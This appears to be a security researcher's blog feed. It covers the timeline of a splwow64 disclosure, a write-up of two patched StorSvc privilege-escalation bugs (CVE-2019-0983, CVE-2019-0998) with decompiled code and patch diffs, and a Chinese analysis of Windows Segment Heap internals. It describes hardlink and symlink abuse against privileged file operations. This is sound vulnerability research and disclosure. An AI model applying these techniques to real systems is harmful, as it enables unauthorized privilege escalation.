<!--block_code_end--><h2 id="toc_5" class="h16">The end of story</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">It seems Microsoft redsigned splwow64 printer service, so they postponed the patch for four months, it's really a long time for me to wait a patch since I started my researching on Windows. Hope new printer service will be more secure:P.</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20210113/777.PNG" alt="777.PNG" title="" ></span>
</p>
<h2 id="toc_6" class="h16">Timeline</h2>
<p class="md_block">
<span class="md_line md_line_start">2020-07-27 Reported to MSRC.<br /></span>
<span class="md_line">2020-08-19 MSRC decided to put off patch.<br /></span>
<span class="md_line">2020-08-22 Bounty awarded<br /></span>
<span class="md_line md_line_end">2021-01-13 Patch release</span>
</p>StorSvc writeup and introduction about my analysis script2020-07-27T06:39:00Zstorsvc_writeup_and_introduction_about_my_analysis_scriptWHEREISK0SHL<p class="md_block">
<span class="md_line md_line_start md_line_end">Author: k0shl of Qihoo 360 Vulcan Team</span>
</p>
<hr>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Today, I'd like to share two of my favorite logical escalation of priviledge vulnerabilities which I reported in 2019 -- CVE-2019-0983 and CVE-2019-0998 and a simple introduction about my RPC static analysis script, I public these <a class="md_compiled" href="https://github.com/k0keoyo/my_vulnerabilities">two PoCs</a> and <a class="md_compiled" href="https://github.com/k0keoyo/ksRPC_analysis_script">my script</a> in my github. All of them were found by reversing, actually, I don't know how to trigger it by normal user interactive and monite it with monitor such as procmon. I will share more detail about how I found it in this paper.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">So let's begin our journey.</span>
</p>
<hr>
<h3 id="toc_0" class="h16">StorSvc overview</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">StorSvc is windows storage service which provide service for storage setttings and extern extension storage. There were two interesting vulnerabilities about Storage Service in history, <a class="md_compiled" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1428">CVE-2018-0983</a> which reported by James Forshaw, and <a class="md_compiled" href="https://sandboxescaper.blogspot.com/">a blog</a>(SandboxEscaper deleted that paper) from SandboxEscaper. So I decided to look into this service.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">According to James Forshaw and SandboxEscaper founding, they both focused on a RPC interface storsvc!SvcMoveFileInheritSecurity, and after patched, Microsoft seemed patched this logical vulnerability with "a simple way".</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_start md_line_end"><strong><em>After Patch</em></strong></span>
</p>
<pre><code>signed __int64 SvcMoveFileInheritSecurity()
{
return 0x80004001;
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">But this was not the only RPC interface in this service, after I reversed StorSvc.dll, I found two interesting points.</span>
</p>
<hr>
<h3 id="toc_1" class="h16">StorSvc volume structure</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Before I introduce about my CVEs, I'd like to talk about a interesting structure during reversing.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Almost every RPC interface reference this structure and check it.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">such as:</span>
</p>
<pre><code> v6 = 0x450 * v5;
v7 = *(_DWORD *)(0x450 * v5 + g_StorageService[v3 + 5] + 564);
if ( !(v7 & 1)
....
LODWORD(v4) = StringCchCopyW(&FileName, 0x104ui64, (const wchar_t *)(v6 + g_StorageService[v3 + 5] + 4));
if ( (signed int)v4 >= 0 )
{
.....
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">As the code show, variable v5 looks like a index, and there is a structure which size is 0x450, g_StorageService is a global variable which store these structures like a structures table. When I went into these RPC interfaces, it always be failure when service check this structure.</span>
</p>
<pre><code>0:002> dc poi(0x7ffe5b683bb0+0x28)+0x450 l4
00000169`44831820 00000000 00000000 00000000 00000000 ................</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">The content of this structure always be zero. That's bad, so I tried to find why it failed and how to set the value.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">After some code review, I noticed that this content can be set by mounting a extension volume.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Now I knew why this value always be zero, I tested it in VM, and there was only one origin volume C:\ in VM. After a little researched, there was a easy way to make it work, I could added a new disk in VM, such as E:. And then, the content of structure is set, and I can got some variable in structure meaning, for example, the offset 0x4 in this structure was point to VolumeName, the offset 0x234 in this structure was point to volume state.</span>
</p>
<pre><code>0:001> dc poi(0x7ffe5b683bb0+0x28)+0x450 l4
00000169`44831820 00000000 003a0045 0000005c 00000000 ....E.:.\.......</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">Now let me introduce CVE-2019-0983 and CVE-2019-0998.<br /></span>
<span class="md_line md_line_end">(<strong><em>I used hardlink in these two CVEs, because Microsoft wasn't release hardlink mitigation at that time</em></strong>)</span>
</p>
<hr>
<h3 id="toc_2" class="h16">CVE-2019-0983</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">The vulnerability caused by a logical error in StorageService::ProvisionStorageCardForUser, error code like this:</span>
</p>
<pre><code>__int64 __fastcall StorageService::ProvisionStorageCardForUser(__int64 a1, int a2, unsigned int a3, wchar_t *a4)
{
v22 = StringCchPrintfW(&ExistingFileName, 0x104ui64, L"%s\\desktop.ini");
v9 = 0;
if ( v22 >= 0 )
{
v23 = StringCchPrintfW(&NewFileName, 0x104ui64, L"%s\\desktop.ini", v21);
v9 = 0;
if ( v23 >= 0 )
{
CopyFileW(&ExistingFileName, &NewFileName, 0);
v9 = 0;
}
}
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">CVE-2019-0983 is easy to understand. ExistingFileName was "C:\User\k0shl\Video\desktop.ini", and NewFileName was "E:\User\k0shl\Video\desktop.ini", these two files could be controlled by normal user. So I can create a hardlink to a high priviledge file. It will finally be occupied by my controlled file.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">After patch:</span>
</p>
<pre><code> v15 = RpcImpersonateClient(0i64);
if ( v15 < 0 )
goto LABEL_44;
v23 = (void **)&v39;
if ( v41 >= 8 )
v23 = v39;
v24 = &v35;
if ( (unsigned __int64)Dst >= 8 )
v24 = (struct _SECURITY_ATTRIBUTES **)v35;
if ( StringCchPrintfW(&ExistingFileName, 0x104ui64, L"%s\\desktop.ini", v24) >= 0
&& StringCchPrintfW(&NewFileName, 0x104ui64, L"%s\\desktop.ini", v23) >= 0 )
{
CopyFileW(&ExistingFileName, &NewFileName, 0);
}
RpcRevertToSelf();</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">It invokes RPCimpersonateClient() before CopyFileW().</span>
</p>
<hr>
<h3 id="toc_3" class="h16">CVE-2019-0998</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">The vulnerability caused by a logical error in StorSvc!SvcSetStorageSettings, the error code in function StorageService::SetWriteAccess :</span>
</p>
<pre><code> v14 = GetUserFolder(&pObjectName);
...
_wsplitpath_s(&pObjectName, 0i64, 0i64, 0i64, 0i64, &Filename, 0x104ui64, 0i64, 0i64);
LODWORD(phkResult) = StringCchCopyW(
&PathName,
0x104ui64,
(const wchar_t *)(*(_QWORD *)(v7 + 8i64 * (_QWORD)v6 + 40) + 1104 * v11 + 4));
if ( (signed int)phkResult >= 0 )
{
LODWORD(phkResult) = PathCchAppend(&PathName, 260i64, &Filename);
if ( !CreateDirectoryW(&PathName, &SecurityAttributes) )
{
v17 = GetLastError();
if ( v17 == 183 )
{
v18 = SetNamedSecurityInfoW(
&PathName,
SE_FILE_OBJECT,
4u,
0i64,
0i64,
*(PACL *)&SecurityAttributes.nLength,
0i64);</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">First, service invoked GetUserFolder() to get a full folder path and _wsplitpath_() to split full path to its final name. For example, GetUserFolder() return a full path "C:\User\k0shl", and after _wsplitpath_(), I get FileName "k0shl".</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">And finally PathName will set to "E:\k0shl" and invoke CreateDirectory, service want to create a user folder in another volume, and if it create directory failed, it will get last error value, if value is 0xb7, it means file already exist. Service will invoke SetNamedSecurityInfoW to set it DACL, but it not check if PathName is a file or a directory. How about "E:\k0shl" is a file not a direcotry? If I create a file instead of directory in volume and make a symbolic link to a high priviledge file, it will finally modified high priviledge file's DACL.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">After patch:</span>
</p>
<pre><code>if ( CreateDirectoryW(&PathName, &SecurityAttributes) )
goto LABEL_107;
v17 = GetLastError();
if ( v17 == 183 )
{
if ( !(GetFileAttributesW(&PathName) & 0x10) )
{
LODWORD(phkResult) = -2147024891;
goto LABEL_92;
}
v18 = SetNamedSecurityInfoW(
&PathName,
SE_FILE_OBJECT,
4u,
0i64,
0i64,
(PACL)SecurityAttributes.lpSecurityDescriptor,
0i64);</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">After patch, it check the file's attribute to confirm it's a directory. Actually, I think there is still a TOCTOU, but after I test it, the time window is too small, I can't delete directory and make a symbol link between GetFileAttribute and SetNamedSecurityInfoW. Of course, I also can't use oplock, because GetFileAttribute() just query file object information.</span>
</p>
<h4 id="toc_4" class="h16">Introduction about my analysis script</h4>
<p class="md_block">
<span class="md_line md_line_start md_line_end">After I reported these two logical vulnerabilities, I thought about how I found these two vulnerabilities. First, I found some sensitive functions such as SetNamedSecurityInfo or CopyFile, and I get a code path from RPC interface.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">As I said in <a class="md_compiled" href="https://whereisk0shl.top/post/a-simple-story-of-dssvc">my another blog</a>, I finally decide to write a script to help me analyze all RPC server.</span>
</p>
<p class="md_block md_has_block_below md_has_block_below_ul">
<span class="md_line md_line_start md_line_end">I make a simple framework about script in my mind.</span>
</p>
<ul>
<li class="md_li"><span>Step 1: I need to get all RPC server
</span></li>
<li class="md_li"><span>Step 2: I need to get all RPC interfaces
</span></li>
<li class="md_li"><span>Step 3: I need to parse RPC dll or exe in IDA
</span></li>
<li class="md_li"><span>Step 4: I need to find a code path from RPC interface to sensitive function
</span></li>
</ul>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Actually, all of this were easy to complete, I use <a class="md_compiled" href="https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/tree/master/NtApiDotNet">James Forshaw's awesome tool NtApiDotNet</a>, I can use this tool to help me to parse RPC server, there is a class named Win32 in NtApiDotNet, and a interesting method named ParsePeFile.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">This function can parse RPC server and export RPC interfaces like RPCView, I just need the RPC interface name.</span>
</p>
<pre><code> public static IEnumerable<RpcServer> ParsePeFile(string file, string dbghelp_path, string symbol_path, bool parse_clients, bool ignore_symbols)
{
List<RpcServer> servers = new List<RpcServer>();
using (var result = SafeLoadLibraryHandle.LoadLibrary(file, LoadLibraryFlags.DontResolveDllReferences, false))
{
if (!result.IsSuccess)
{
return servers.AsReadOnly();
}
var lib = result.Result;
var sections = lib.GetImageSections();
var offsets = sections.SelectMany(s => FindRpcServerInterfaces(s, parse_clients));
if (offsets.Any())
{
using (var sym_resolver = !ignore_symbols ? SymbolResolver.Create(NtProcess.Current,
dbghelp_path, symbol_path) : null)
{
foreach (var offset in offsets)
{
IMemoryReader reader = new CurrentProcessMemoryReader(sections.Select(s => Tuple.Create(s.Data.DangerousGetHandle().ToInt64(), (int)s.Data.ByteLength)));
NdrParser parser = new NdrParser(reader, NtProcess.Current,
sym_resolver, NdrParserFlags.IgnoreUserMarshal);
IntPtr ifspec = lib.DangerousGetHandle() + (int)offset.Offset;
var rpc = parser.ReadFromRpcServerInterface(ifspec);
servers.Add(new RpcServer(rpc, parser.ComplexTypes, file, offset.Offset, offset.Client));
}
}
}
}
return servers.AsReadOnly();
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">And in IDA, I can used IDAPython to parse code path with xrefs, and I also found that there maybe path explosion in analyze python script, so I set a recursion depth to 10 and 7, if the function call count is larger than recursion depth, it will return diffrent result, of course you can change it. Now I collected all I need for this script now.</span>
</p>
<p class="md_block md_block_as_opening md_has_block_below md_has_block_below_ul">
<span class="md_line md_line_start md_line_end">In my script(about script config please check it in my github):</span>
</p>
<ul>
<li class="md_li"><span>I go through all exe and dll file under C:\Windows\System32(<strong><em>Actually, this not include all RPC servers, there are some other RPC servers in other directory or suffix diffrent from "dll" or "exe" such as Windows Defender or unimdm.tsp, you can config the search path in my script</em></strong>)
</span></li>
<li class="md_li"><span>I use Win32.RPC.ParsePeFile to parse every file, if it's a RPC server, it will return code like IDL
</span></li>
<li class="md_li"><span>I create a file store sensitive functions and use a IDAPython script to parse RPC dll or exe
</span></li>
<li class="md_li"><span>I get all the code path to sensitive functions, and if it start from RPC interface which get from the result by Win32.RPC.ParseFile, I store it in SpecialFinal.txt
</span></li>
</ul>
<p class="md_block">
<span class="md_line md_line_start md_line_end">The result like:</span>
</p>
<pre><code>SvcSetStorageSettings[////////__imp_SetNamedSecurityInfoW<--?CreateStorageCardDirectory@StorageService@@IEAAJW4_STORAGE_DEVICE_TYPE@@KPEBGKPEAU_SECURITY_ATTRIBUTES@@PEAU_ACL@@H@Z<--?ProvisionStorageCardForUser@StorageService@@IEAAJW4_STORAGE_DEVICE_TYPE@@KPEAG1KPEAU_SECURITY_ATTRIBUTES@@PEAU_ACL@@@Z<--?SetWriteAccess@StorageService@@IEAAJW4_STORAGE_DEVICE_TYPE@@KK@Z<--?SetStorageSettings@StorageService@@QEAAJW4_STORAGE_DEVICE_TYPE@@KW4_STORAGE_SETTING@@K@Z<--SvcSetStorageSettings]
SvcSetStorageSettings[////////__imp_CopyFileW<--?ProvisionStorageCardForUser@StorageService@@IEAAJW4_STORAGE_DEVICE_TYPE@@KPEAG1KPEAU_SECURITY_ATTRIBUTES@@PEAU_ACL@@@Z<--?SetWriteAccess@StorageService@@IEAAJW4_STORAGE_DEVICE_TYPE@@KK@Z<--?SetStorageSettings@StorageService@@QEAAJW4_STORAGE_DEVICE_TYPE@@KW4_STORAGE_SETTING@@K@Z<--SvcSetStorageSettings]</code></pre>
<!--block_code_end--><h4 id="toc_5" class="h16">Time Line</h4>
<p class="md_block">
<span class="md_line md_line_start"><strong><em>Feb 2019 :</em></strong> Vulnerabilities Reported<br /></span>
<span class="md_line"><strong><em>Feb 2019 :</em></strong> Microsoft reproduced<br /></span>
<span class="md_line"><strong><em>May 2019 :</em></strong> Patch released<br /></span>
<span class="md_line md_line_end"><strong><em>May 2019 :</em></strong> Bounty awarded</span>
</p>
<h4 id="toc_6" class="h16">Reference</h4>
<p class="md_block">
<span class="md_line md_line_start md_line_end">https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-0983</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0983</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0998</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">https://github.com/k0keoyo/ksRPC_analysis_script</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">https://github.com/k0keoyo/my_vulnerabilities/tree/master/CVE-2019-0983</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">https://github.com/k0keoyo/my_vulnerabilities/tree/master/CVE-2019-0998</span>
</p>Segment Heap的简单分析和Windbg Extension2020-07-10T01:56:03Zsegment_heap_extWHEREISK0SHL<p class="md_block">
<span class="md_line md_line_start md_line_end">Author: k0shl of 360 Vulcan Team</span>
</p>
<h3 id="toc_0" class="h16">简述</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">微软在Windows 10启用了一种新的堆管理机制Low Fragmentation Heap(LFH),在常规的环三应用进程中,Windows使用Nt Heap,而在特定进程,例如lsass.exe,svchost.exe等系统进程中,Windows采用Segment Heap,关于Nt Heap,可以参考Angel boy在WCTF赛后的分享<a class="md_compiled" href="https://www.slideshare.net/AngelBoy1/windows-10-nt-heap-exploitation-english-version">Windows 10 Nt Heap Exploitation</a>,而Segment Heap可以参考MarkYason在16年Blackhat上的议题<a class="md_compiled" href="https://www.blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals.pdf">Windows 10 Segment Heap Internals</a>。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在Yason的议题中对于Segment Heap的分析已经足够详细,NT Heap和Segment Heap的结构差异较大,我在这篇文章中只对Segment Heap在Windows ntdll中的代码逻辑实现进行简单分析,以及我针对Segment Heap编写的windbg extension简单介绍。</span>
</p>
<h3 id="toc_1" class="h16">Segment Heap的创建</h3>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Windows在系统进程中使用Segment Heap,部分应用也使用了Segment heap,比如Edge,如果想调试自己的程序,可以在注册表中添加相应键值开启Segment Heap。</span>
</p>
<pre><code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\(executable)
FrontEndHeapDebugOptions = (DWORD)0x08</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">通过windbg !heap命令可以看到当前进程的堆布局。</span>
</p>
<pre><code>2: kd> !process 1f0 0
Searching for Process with Cid == 1f0
PROCESS ffffcf026f1cc0c0
SessionId: 0 Cid: 01f0 Peb: 1803b03000 ParentCid: 01e8
DirBase: 01850002 ObjectTable: ffffbd0dfbaea080 HandleCount: 574.
Image: csrss.exe
2: kd> .process /i /p ffffcf026f1cc0c0
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
2: kd> g
0: kd> .reload /user
Loading User Symbols
....................
0: kd> !heap
Heap Address NT/Segment Heap
14bff720000 Segment Heap
7df42cce0000 NT Heap</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">关于Segment Heap和Nt Heap通过其头部结构的Signature成员变量区分,Signature保存在Heap Header+0x10位置,当Signature为0xDDEEDDEE时,该堆为Segment Heap,而当Signature为0xFFEEFFEE时,该堆为Nt Heap。</span>
</p>
<pre><code>0: kd> dq 14bff720000 l3//Segment Heap
0000014b`ff720000 00000000`01000000 00000000`00000000
0000014b`ff720010 00000000`ddeeddee
0: kd> dq 7df42cce0000 l3//Nt Heap
00007df4`2cce0000 00000000`00000000 01009ba1`00f60fd8
00007df4`2cce0010 00000001`ffeeffee</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">当进程初始化时,进程会调用RtlInitializeHeapManager函数创建堆管理结构,内层函数调用RtlpHpOptIntoSegmentHeap决定是否创建SegmentHeap,在RtlpHpOptIntoSegmentHeap函数中会检查进程明程等内容,当属于指定系统进程或者Package时,会设置对应的Feature,最后创建Segement Heap设置_SEGMENT_HEAP->Signature值为0xDDEEDDEE。</span>
</p>
<pre><code>__int64 __fastcall RtlpHpOptIntoSegmentHeap(unsigned __int16 *a1)
{
v1 = a1;
v16 = L"svchost.exe"; //----->指定的系统进程
v2 = 0;
v17 = L"runtimebroker.exe";//----->指定的系统进程
v18 = L"csrss.exe";//----->指定的系统进程
v19 = L"smss.exe";//----->指定的系统进程
v20 = L"services.exe";//----->指定的系统进程
v21 = L"lsass.exe";//----->指定的系统进程
...
}
//调用路径
LdrpInitializeProcess
|__RtlInitializeHeapManager
|__RtlpHpOptIntoSegmentHeap
//最终在RtlpHpHeapCreate函数中将+0x10 Signature值置为0xDDEEDDEE
__int64 __fastcall RtlpHpHeapCreate(unsigned __int32 a1, unsigned __int64 a2, __int64 a3, __m128i *a4)
{
v9 = (__m128i *)RtlpHpHeapAllocate(v6, v7, (__m128i *)&v36);
v9[1].m128i_i32[0] = 0xDDEEDDEE;//mov dword ptr [rax+10h], 0DDEEDDEEh
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">因此我在编写segment heap的windbg extension时,通过查看的Bucket Block地址找到Segment Heap Header之后通过查看对应Signature是否为0xDDEEDDEE用于确认查找的地址是否是一个有效的Bucket地址。</span>
</p>
<h3 id="toc_2" class="h16">Segment Heap LFH</h3><h4 id="toc_3" class="h16">Allocate</h4>
<p class="md_block">
<span class="md_line md_line_start md_line_end">接下来对Segment Heap的分配和释放进行简单分析,首先我们需要了解_SEGMENT_HEAP中的一个关键结构_HEAP_LFH_CONTEXT,其成员在偏移0x340位置,在_HEAP_LFH_CONTEXT结构偏移0x80位置存放着一个Bucket Table,其结构关系如下。</span>
</p>
<pre><code>0: kd> dt _SEGMENT_HEAP LfhContext
ntdll!_SEGMENT_HEAP
+0x340 LfhContext : _HEAP_LFH_CONTEXT
0: kd> dt _HEAP_LFH_CONTEXT Buckets
ntdll!_HEAP_LFH_CONTEXT
+0x080 Buckets : [129] Ptr64 _HEAP_LFH_BUCKET</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">在BucketTable中存放不同Size的Bucket Manager pointer,其实LFH并非在最开始就处于待分配状态,在堆最开始分配的时候是通过正常的Variable Size分配,关于vs heap的分配可以参考Yason的slide,当进程申请堆时会调用ntdll!RtlAllocateHeap,在分配时会检查Signature是否是SegmentHeap。</span>
</p>
<pre><code>__int64 __fastcall RtlAllocateHeap(_SEGMENT_HEAP *a1, unsigned int a2, __int64 a3)
{
if ( !a1 )
RtlpLogHeapFailure(19i64, 0i64);
if ( a1->Signature == 0xDDEEDDEE )
return RtlpHpAllocWithExceptionProtection((__int64)a1, a3, a2);
if ( RtlpHpHeapFeatures & 2 )
return RtlpHpTagAllocateHeap((__int64)a1, a3, a2);
return RtlpAllocateHeapInternal(a1, a3, a2, 0i64);
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">若Signature值为0xDDEEDDEE时,会调用RtlpHpAllocWithExceptionProtection创建segment heap block,在最开始的时候,会检查Bucket Table中lfh是否已经激活,也就是第一比特是否为1,当第一比特为1时,当前Bucket处于未激活lfh的情况,会创建vs heap,我们暂不讨论vs heap的申请。</span>
</p>
<pre><code>3: kd> dq 116abf90000+340+80//Bucket Table
00000116`abf903c0 00000000`00000001 00000000`00000001
00000116`abf903d0 00000000`026e0001 00000116`abf90900//已经激活LFH索引的指针
00000116`abf903e0 00000000`01ee0001 00000000`030f0001//未激活的索引
00000116`abf903f0 00000000`04100001 00000000`00820001
00000116`abf90400 00000000`01280001 00000000`00e30001
00000116`abf90410 00000000`00210001 00000000`00410001</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">Segment Heap的分配实现在RtlpAllocateHeapInternal函数中,由于代码逻辑较长但并不复杂,我这里只标明与我本文相关的逻辑部分,具体逻辑需要感兴趣的读者自行逆向。</span>
</p>
<pre><code>__int64 __fastcall RtlpAllocateHeapInternal(_SEGMENT_HEAP *HeapBase, unsigned __int64 InSize, __int64 a3, __int64 a4)
{
……
if ( InSize <= (unsigned int)WORD2(HeapBase->LfhContext.Buckets[0x13]) - 0x10 )//--->(0)
{
if(!(BucketTable[SizeIndex] & 1){//--->(1)
RtlpHpLfhSlotAllocate()
}
else if(Allocate enough blocks){ //--->(2)
RtlpHpLfhBucketActivate()
}
else{
do something//--->(3)
}
}
if ( InSize > 0x20000 )
{
RtlpHpLargeAlloc()//--->(4)
}
else{
RtlpHpVsContextAllocateInternal()//--->(5)
}
……
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">接下来我会就代码中的逻辑进行简要说明。</span>
</p>
<pre><code>(0) 分配时首先判断申请堆的大小是否小于等于0x4000-0x10,也就是0x3ff0,若大于0x4000且小于等于0x20000,则直接使用Variable Size Heap Allocate,如果大于0x20000则使用Large Heap Allocate。
(1) 若申请堆大小小于等于0x3ff0,则会在Bucket Table中找到分配大小对应Size的索引,之后判断其是否已经激活LFH(第一比特是否为1),当LFH已经激活时,if语句判断返回TRUE,直接调用RtlpHpLfhSlotAllocate申请Block。
(2) 否则检查当前申请的堆大小的已申请数量是否已经满足激活LFH所需的数量,若满足,则调用RtlpHpLfhBucketActivate函数激活Bucket,此时Bucket Table对应位置会被Bucket Header赋值。
(3) 如果分配数量还不满足则进行一些Flag的赋值后跳出if语句。
(4) 当申请堆大小大于0x20000时,则调用RtlpHpLargeAlloc申请Large Heap。
(5) 当满足(0)条件或者在(3)中没有达到激活LFH条件时,调用RtlpHpVsContextAllocateInternal申请VS Heap,也就是说(5)不一定只满足大于0x4000小于等于0x20000的情况,小于等于0x4000时也有可能会走VS Heap,这取决于已分配Block的数量。</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里我们不讨论VS Heap和Large Heap,只讨论LFH Heap的情况。当LFH被激活时,RtlpHpLfhBucketActivate会创建一个Bucket Manager,并且将这个Manager指针放到Bucket Table对应Size Index的位置,我们要研究申请堆的Block的分配需要从这个Bucket Manager入手。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Block的申请在RtlpHpLfhSlotAllocate()函数中,关于这个函数代码逻辑比较复杂,我将从Bucket Manager入手结合关键的代码逻辑和大家分享LFH Block的分配过程。由于调试过程比较复杂,这里我不再贴出调试步骤记录占用篇幅,感兴趣的读者可以在RtlpHpLfhSlotAllocate单步跟踪加以印证。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Bucket Manager是一个名为_HEAP_LFH_BUCKET的结构,其成员变量包含一个重要结构_HEAP_LFH_AFFINITY_SLOT,该结构中包含的重要成员变量结构为_HEAP_LFH_SUBSEGMENT_OWNER,关于结构关系如下(重要结构我用*表示)。</span>
</p>
<pre><code>1: kd> dt _HEAP_LFH_BUCKET 116`abf90b00
ntdll!_HEAP_LFH_BUCKET
+0x000 State : _HEAP_LFH_SUBSEGMENT_OWNER
+0x038 TotalBlockCount : 0x5b7
+0x040 TotalSubsegmentCount : 0x10
+0x048 ReciprocalBlockSize : 0x3333334
+0x04c Shift : 0x20 ' '
+0x04d ContentionCount : 0 ''
+0x050 AffinityMappingLock : 0
+0x058 ProcAffinityMapping : 0x00000116`abf90b80 ""
* +0x060 AffinitySlots : 0x00000116`abf90b88 -> 0x00000116`abf90bc0 _HEAP_LFH_AFFINITY_SLOT
1: kd> dt _HEAP_LFH_AFFINITY_SLOT 116`abf90bc0
ntdll!_HEAP_LFH_AFFINITY_SLOT
* +0x000 State : _HEAP_LFH_SUBSEGMENT_OWNER
+0x038 ActiveSubsegment : _HEAP_LFH_FAST_REF
1: kd> dt _HEAP_LFH_SUBSEGMENT_OWNER 116`abf90bc0
ntdll!_HEAP_LFH_SUBSEGMENT_OWNER
+0x000 IsBucket : 0y0
+0x000 Spare0 : 0y0000000 (0)
* +0x001 BucketIndex : 0x5 ''
+0x002 SlotCount : 0 ''
+0x002 SlotIndex : 0 ''
+0x003 Spare1 : 0 ''
* +0x008 AvailableSubsegmentCount : 1
+0x010 Lock : 0
* +0x018 AvailableSubsegmentList : _LIST_ENTRY [ 0x00000116`ac5d4000 - 0x00000116`ac5d4000 ]
* +0x028 FullSubsegmentList : _LIST_ENTRY [ 0x00000116`ac0f7000 - 0x00000116`ac5d0000 ]</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">LHF的Bucket是通过双向链表的方法管理,AvailableSubsegmentList是存在Free状态的Block的Bucket链表,FullSubsegmentList是已经满了的Bucket的链表,这两个链表存放的就是各个Bucket的Bucket Header,当LFH分配Block时,会检查Bucket Manager中AvailableSubsegementCount的值,若其值小于等于0,则继续判断AvailableSubsegementList,在AvailableSubsegmentList中没有可用的Bucket header时,其值指向自己。</span>
</p>
<pre><code>1: kd> dq 116`abf90bc0//_HEAP_LFH_SUBSEGMENT_OWNER结构
00000116`abf90bc0 00000000`00000500 00000000`00000001//有可用的Bucket
00000116`abf90bd0 00000000`00000000 00000116`ac5d4000//AvailableSubsegmentList
00000116`abf90be0 00000116`ac5d4000 00000116`ac0f7000//FullSubsegmentList
00000116`abf90bf0 00000116`ac5d0000 00000000`00000000
3: kd> dq 116`abf908c0//_HEAP_LFH_SUBSEGMENT_OWNER结构
00000116`abf908c0 00000000`00000c00 00000000`00000000//可用的Count为0
00000116`abf908d0 00000000`00000000 00000116`abf908d8//AvailableSubsegmentList指向本身
00000116`abf908e0 00000116`abf908d8 00000116`abf908e8//FullSubsegmentList指向本身
00000116`abf908f0 00000116`abf908e8 00000000`00000000
v10 = &a3->State.AvailableSubsegmentCount;
if ( a3->State.AvailableSubsegmentCount <= 0 )//当Count小于0
{
……
v121 = (__int64 **)&a2->State.AvailableSubsegmentList;
if ( *v121 == (__int64 *)v121//链表指针指向本身
|| ((RtlAcquireSRWLockExclusive(&a2->State.Lock), *v121 == (__int64 *)v121) ? (_RSI = 0i64) : (_RSI = RtlpHpLfhOwnerMoveSubsegment((__int64)a2, *v121, 2)),
RtlReleaseSRWLockExclusive(&a2->State.Lock),
!_RSI) )
{
_RSI = (__int64 *)RtlpHpLfhSubsegmentCreate(a1, a2, a5);
if ( !_RSI )
goto LABEL_52;
}
……
}</code></pre>
<!--block_code_end-->
<p class="md_block">
